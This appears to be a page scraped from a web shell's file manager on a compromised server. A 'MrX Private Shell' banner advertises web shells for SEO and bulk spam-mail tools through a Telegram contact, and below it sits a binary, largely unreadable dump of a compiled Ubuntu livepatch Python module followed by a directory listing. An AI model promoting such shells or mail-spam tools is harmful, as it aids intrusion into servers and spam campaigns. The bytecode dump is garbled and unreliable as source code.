__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g�7���SSKrSSKJrJrJrJr SSKJrJrJ	r	J
r
JrJrJ
r
JrJr SSKJrJr SSKJr SSKJr SS/rS	S
S.r\R2"5r\R6"\R8"\55r"SS
\5rSr g)�N)�Any�Dict�Optional�Tuple)	�api�event_logger�
exceptions�http�	livepatch�messages�snap�system�util)�EntitlementWithMessage�
UAEntitlement)�ApplicationStatus)�StaticAffordanceg�?g�?z)Invalid Auth-Token provided to livepatch.z2Your running kernel is not supported by Livepatch.)zUnknown Auth-Tokenzunsupported kernelc	�&^�\rSrSr\R
RrSr\Rr
\Rr\RrSrSrSrSr\S\\S44Sj5r\S\\S44Sj5rS\4S	jrS\4S
jrS\R:S\4SjrSS\R:S
\S\S\4Sjjr S\R:4Sjr!S\\"\#\RH44Sjr%S\\\#\RH44Sjr&Sr'SS\(\)\*4S\(\)\*4S\S\4U4Sjjjr+Sr,U=r-$)�LivepatchEntitlement�rFT�return.c��SSKJn SSKJn [	U[
R5[	U[
R54$)Nr��FIPSEntitlement)�RealtimeKernelEntitlement)�uaclient.entitlements.fipsr�uaclient.entitlements.realtimerrr�LIVEPATCH_INVALIDATES_FIPS�REALTIME_LIVEPATCH_INCOMPATIBLE)�selfrrs   �A/usr/lib/python3/dist-packages/uaclient/entitlements/livepatch.py�incompatible_services�*LivepatchEntitlement.incompatible_services,s=��>�L�
#���!D�!D�
�
#�)��8�8�
�	
�	
�c�^�SSKJn U"URS9n[UR	5S[
R:H5m[RRURS9SS4[RU4SjS44$)Nrr)�cfg)�titlec�j�[R"5=(d [R"5S:H$)N�wsl)r�is_container�
get_virt_type�r$r!�<lambda>�9LivepatchEntitlement.static_affordances.<locals>.<lambda>Ks(���+�+�-�3��'�'�)�U�2�3r$Fc�>�T$�Nr,)�is_fips_enableds�r!r-r.Qs���r$)rrr&�bool�application_statusr�ENABLEDr�"SERVICE_ERROR_INSTALL_ON_CONTAINER�formatr'�!LIVEPATCH_ERROR_WHEN_FIPS_ENABLED)r r�fips_entr1s   @r!�static_affordances�'LivepatchEntitlement.static_affordances;s����	?�"�t�x�x�0����'�'�)�!�,�0A�0I�0I�I�
���;�;�B�B��*�*�C��3��

��:�:�'��
�
�	
r$c��g)N�r,�r s r!�enable_steps�!LivepatchEntitlement.enable_stepsV���r$c��g)N�r,r=s r!�
disable_steps�"LivepatchEntitlement.disable_stepsYr@r$�progressc�L�UR[R5 [R"5(dBURS[RRSS95 [R"5 [R"5(dDURS[RRSS95 [R"S5 [R "U5 [R""S5 [(R*"SUR,R.[(R05n[(R*"S
UR,R2[(R45n[R6"UU[R8S9 [:R<"5(dDURS[RRSS95 [R"S5 [:RB"X45 UREUSSS9$![RaLn[RSUS9 URS[RRSS95 S	nAGN�S	nAff=f![RaOn[RS
US9 [$R'[RRSS95 S	nAGN�S	nAff=f![Ra"n[R>"[AU5S9eS	nAff=f)zIEnable specific entitlement.

@return: True on success, False otherwise.
�info�snapd)�packagesz
snapd snapz!Failed to install snapd as a snap��exc_infozsnap install snapd��commandNzFailed to refresh snapd snapzsnap refresh snapdr
�https)�
http_proxy�https_proxy�retry_sleepszcanonical-livepatch snapzcanonical-livepatch��	error_msgT)�process_directives�
process_token)#rEr�INSTALLING_LIVEPATCHr
�is_snapd_installed�emit�INSTALLING_PACKAGESr6�
install_snapd�is_snapd_installed_as_a_snap�install_snapr	�ProcessExecutionError�LOG�warning�EXECUTING_COMMAND_FAILED�run_snapd_wait_cmd�refresh_snap�eventrGr
�validate_proxyr&rO�PROXY_VALIDATION_SNAP_HTTP_URLrP�PROXY_VALIDATION_SNAP_HTTPS_URL�configure_snap_proxy�SNAP_INSTALL_RETRIESr�is_livepatch_installed�ErrorInstallingLivepatch�str�configure_livepatch_proxy�setup_livepatch_config)r rE�erOrPs     r!�_perform_enable�$LivepatchEntitlement._perform_enable\s���
	���(�7�7�8��&�&�(�(��M�M���4�4�;�;�W�;�M�
�
��� ��0�0�2�2��M�M���,�,�3�3�\�3�J�
�	
��!�!�'�*�	
����)�	����g�&��(�(��D�H�H�'�'��)L�)L�
�
��)�)��T�X�X�)�)�4�+O�+O�
��	
�!�!�!�#��2�2�	
�
�/�/�1�1��M�M���,�,�3�3�7�4��
�
L��!�!�"7�8�	�+�+�J�D��*�*���T�+�
�	
��]�3�3�
����?�!��L��
�
���5�5�<�<� 4�=�����
���/�/�	��K�K�6��K�C��J�J��1�1�8�8�0�9��
�
��	��8�3�3�
L� �9�9�C��F�K�K��
L�sJ�H$�1J�'K-�$J�8AI?�?J�K*�AK%�%K*�-L#�L�L#rTrUc	�d�UR[R5 URR	5RUR5nU(a[U5 U(a�URS5nU(d9[R!SUR"5 URR$SnUR'5upxU[(R*:wa\[R-S	5 URS[R.5 [0R2"[4R6S
/5 [0R2"[4R6SU/SS
9 gg![Ra]n[R[U5US9 URS[RR[U5S95 SnAgSnAff=f![Ra'n[R[U5US9 SnAgSnAff=f![Ra�n[R8n	[:R=5Hup�U
[U5;dMX�-
n	 O U	[R8:XaU	[U5-
n	URSU	5 SnAgSnAff=f)z�Processs configuration setup for livepatch directives.

:param process_directives: Boolean set True when directives should be
    processsed.
:param process_token: Boolean set True when token should be
    processsed.
rJrGrRNF�
resourceTokenzHNo specific resourceToken present. Using machine token as %s credentials�machineTokenz&Disabling livepatch before re-enabling�disable�enableT��capture)rEr�SETTING_UP_LIVEPATCH�machine_token_file�entitlements�get�name�process_config_directivesr	r]r^�errorrkrX�LIVEPATCH_UNABLE_TO_CONFIGUREr6�debugr'�
machine_tokenr3r�DISABLEDrG�LIVEPATCH_DISABLE_REATTACHr�subpr�
LIVEPATCH_CMD�LIVEPATCH_UNABLE_TO_ENABLE�
ERROR_MSG_MAP�items)r rErTrU�entitlement_cfgrn�livepatch_tokenr3�_details�msg�
error_message�
print_messages            r!rm�+LivepatchEntitlement.setup_livepatch_config�s-��	���(�7�7�8��1�1�>�>�@�D�D�T�Y�Y�O���

�)�/�:��-�1�1�/�B�O�"��	�	�&��J�J��
#'�"9�"9�"G�"G�"�#��,0�+B�+B�+D�(��!�%6�%?�%?�?����A�B��
�
�f�h�&I�&I�J�!��K�K��!8�!8�)� D�E�
�����,�,�h��H� ����Y�3�3�
��	�	�#�a�&�1�	�-��
�
���:�:�A�A�"%�a�&�B�����
��4"�7�7�!��I�I�c�!�f�q�I�1� ��!���3�3�	
��9�9��4A�4G�4G�4I�0�M�$��A��.��,���5J��(�=�=�=��3�q�6�M�C��
�
�f�c�*���	
�sO�E)�&G�&H�)G�=AG�G�H�1H�H�J/�/6J*�)<J*�*J/c��[R"5(dg[RS/nUR[R
R
SRU5S95 [R"USS9 g)zIDisable specific entitlement

@return: True on success, False otherwise.
Trt� rLrv)
rrir�rEr�EXECUTING_COMMANDr6�joinrr�)r rE�cmds   r!�_perform_disable�%LivepatchEntitlement._perform_disable�sf��
�/�/�1�1���&�&�	�2������&�&�-�-�c�h�h�s�m�-�D�	
�	���C��&�r$c��[RS4n[R"5(d [R[
R4$[R"5nUc [R[
R4$U$![RaAn[R[
RRURS94sSnA$SnAff=f)N)�livepatch_error)rr4rrir�r�LIVEPATCH_NOT_ENABLED�statusr	r]�WARNING� LIVEPATCH_CLIENT_FAILURE_WARNINGr6�stderr�+LIVEPATCH_APPLICATION_STATUS_CLIENT_FAILURE)r r��livepatch_statusrns    r!r3�'LivepatchEntitlement.application_status�s���$�+�+�T�2���/�/�1�1�%�.�.��0N�0N�O�O�	�(�/�/�1���#�"�*�*��D�D��
��
���/�/�	�!�)�)��9�9�@�@�$%�H�H�A���
��	�s�B�C�6C�C�Cc�*�[R"5nU[RR:XaI[R
"5nS[RRURURS94$U[RR:XaI[R
"5nS[RRURURS94$U[RR:XaS[R4$g)NT)�version�arch)FN)r�on_supported_kernel�LivepatchSupport�UNSUPPORTEDr�get_kernel_infor�LIVEPATCH_KERNEL_NOT_SUPPORTEDr6�
uname_release�uname_machine_arch�
KERNEL_EOL�LIVEPATCH_KERNEL_EOL�KERNEL_UPGRADE_REQUIRED�!LIVEPATCH_KERNEL_UPGRADE_REQUIRED)r �support�kernel_infos   r!�enabled_warning_status�+LivepatchEntitlement.enabled_warning_statuss����/�/�1���i�0�0�<�<�<� �0�0�2�K���7�7�>�>�'�5�5�$�7�7�?���
��i�0�0�;�;�;� �0�0�2�K���-�-�4�4�'�5�5�$�7�7�5���
��i�0�0�H�H�H���:�:��
�r$c��[R"5[RR:Xa*[R
"5(d[R$gr0)rr�r�r�rr*r�*LIVEPATCH_KERNEL_NOT_SUPPORTED_DESCRIPTIONr=s r!�status_description_override�0LivepatchEntitlement.status_description_override+s@���)�)�+��)�)�5�5�
6��'�'�)�)��F�F�F�r$�orig_access�deltas�allow_enablec�>�[T
U]XU5(agURS05nURS05RSS5nU(a(UR[R
"55upgU$UR
5up�U[R:XagURS05n	[SS/5n
[U
RU	55n[URS	S55n[X�/5(as[RS
5 [R[ R"R%UR&S95 UR)[R
"5UUS9$g)
a�Process any contract access deltas for this entitlement.

:param orig_access: Dictionary containing the original
    resourceEntitlement access details.
:param deltas: Dictionary which contains only the changed access keys
and values.
:param allow_enable: Boolean set True if allowed to perform the enable
    operation. When False, a message will be logged to inform the user
    about the recommended enabled service.

:return: True when delta operations are processed; False when noop.
T�entitlement�obligations�enableByDefaultF�
directives�caCerts�remoteServerrrzANew livepatch directives or token. running setup_livepatch_config)�service)rErTrU)�super�process_contract_deltasr{rur�ProgressWrapperr3rr��setr2�intersection�anyr^rGrcr�#SERVICE_UPDATING_CHANGED_DIRECTIVESr6r|rm)r r�r�r��delta_entitlement�process_enable_default�enable_success�_r3�delta_directives�supported_deltasrTrU�	__class__s             �r!r��,LivepatchEntitlement.process_contract_deltas4sk���$�7�*�;��M�M��"�J�J�}�b�9��!2�!6�!6�}�b�!I�!M�!M��u�"
��"� $���C�,?�,?�,A� B��N�!�!� $� 7� 7� 9����!2�!;�!;�;��,�0�0��r�B���	�>�:�;��!��)�)�*:�;�
���V�Z�Z���?�@�
��"�2�3�3��H�H�)�
�
�J�J��<�<�C�C� �I�I�D��
�
�.�.��,�,�.�#5�+�/��
�
r$r,)TT)F).�__name__�
__module__�__qualname__�__firstlineno__r�urls�LIVEPATCH_HOME_PAGE�help_doc_urlr|�LIVEPATCH_TITLEr'�LIVEPATCH_DESCRIPTION�description�LIVEPATCH_HELP_TEXT�	help_text�#affordance_check_kernel_min_version�affordance_check_kernel_flavor�affordance_check_series�affordance_check_arch�propertyrrr"rr9�intr>rCrr�r2rormr�rr�NamedMessager3r�r�rrkrr��__static_attributes__�
__classcell__)r�s@r!rrs�����=�=�4�4�L��D��$�$�E��0�0�K��,�,�I�*/�'�%*�"�"��!��
�
�u�-C�S�-H�'I�
��
��
�E�*:�C�*?�$@�
��
�4�c���s��D
��(;�(;�D
��D
�R$(�"�	?��%�%�?�!�?��	?�

�?�B��)<�)<���	� �(�8�+@�+@�"A�A�	B��4�	�t�X�h�3�3�4�4�	5��@�#�	6��#�s�(�^�6��S�#�X��6��	6�

�6�6r$rc���U(dgURS05RS05nURS5nU(a5[R"[RSSRU5/SS9 URS	S
5nUR
S5(aUSSnU(a6[R"[RSS
RU5/SS9 gg)a�Process livepatch configuration directives.

We process caCerts before remoteServer because changing remote-server
in the canonical-livepatch CLI performs a PUT against the new server name.
If new caCerts were required for the new remoteServer, this
canonical-livepatch client PUT could fail on unmatched old caCerts.

@raises: ProcessExecutionError if unable to configure livepatch.
Nr�r�r��configzca-certs={}Trvr���/���zremote-server={})r{rr�rr�r6�endswith)r&r��ca_certs�
remote_servers    r!r}r}ms����������+�/�/��b�A�J��~�~�i�(�H������'�'���$�$�X�.�
�
�
	
��N�N�>�2�6�M����c�"�"�%�c�r�*�
������'�'��"�)�)�-�8�
�
�
	
�r$)!�logging�typingrrrr�uaclientrrr	r
rrr
rr�uaclient.entitlements.baserr�(uaclient.entitlements.entitlement_statusr�uaclient.typesr�LIVEPATCH_RETRIESr��get_event_loggerrc�	getLogger�replace_top_level_logger_namer�r^rr}r,r$r!�<module>r�s����-�-�
�
�
�M�F�+��#�J��F�N��
�
	�%�%�'��
����:�:�8�D�E��L�=�L�^
"
r$

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 10.54 KB 0644
anbox.cpython-313.pyc File 4.5 KB 0644
base.cpython-313.pyc File 52.53 KB 0644
cc.cpython-313.pyc File 1.67 KB 0644
cis.cpython-313.pyc File 2.21 KB 0644
entitlement_status.cpython-313.pyc File 5.94 KB 0644
esm.cpython-313.pyc File 6.54 KB 0644
fips.cpython-313.pyc File 27.2 KB 0644
landscape.cpython-313.pyc File 6.84 KB 0644
livepatch.cpython-313.pyc File 17.61 KB 0644
realtime.cpython-313.pyc File 10.54 KB 0644
repo.cpython-313.pyc File 30.89 KB 0644
ros.cpython-313.pyc File 2.93 KB 0644
Filemanager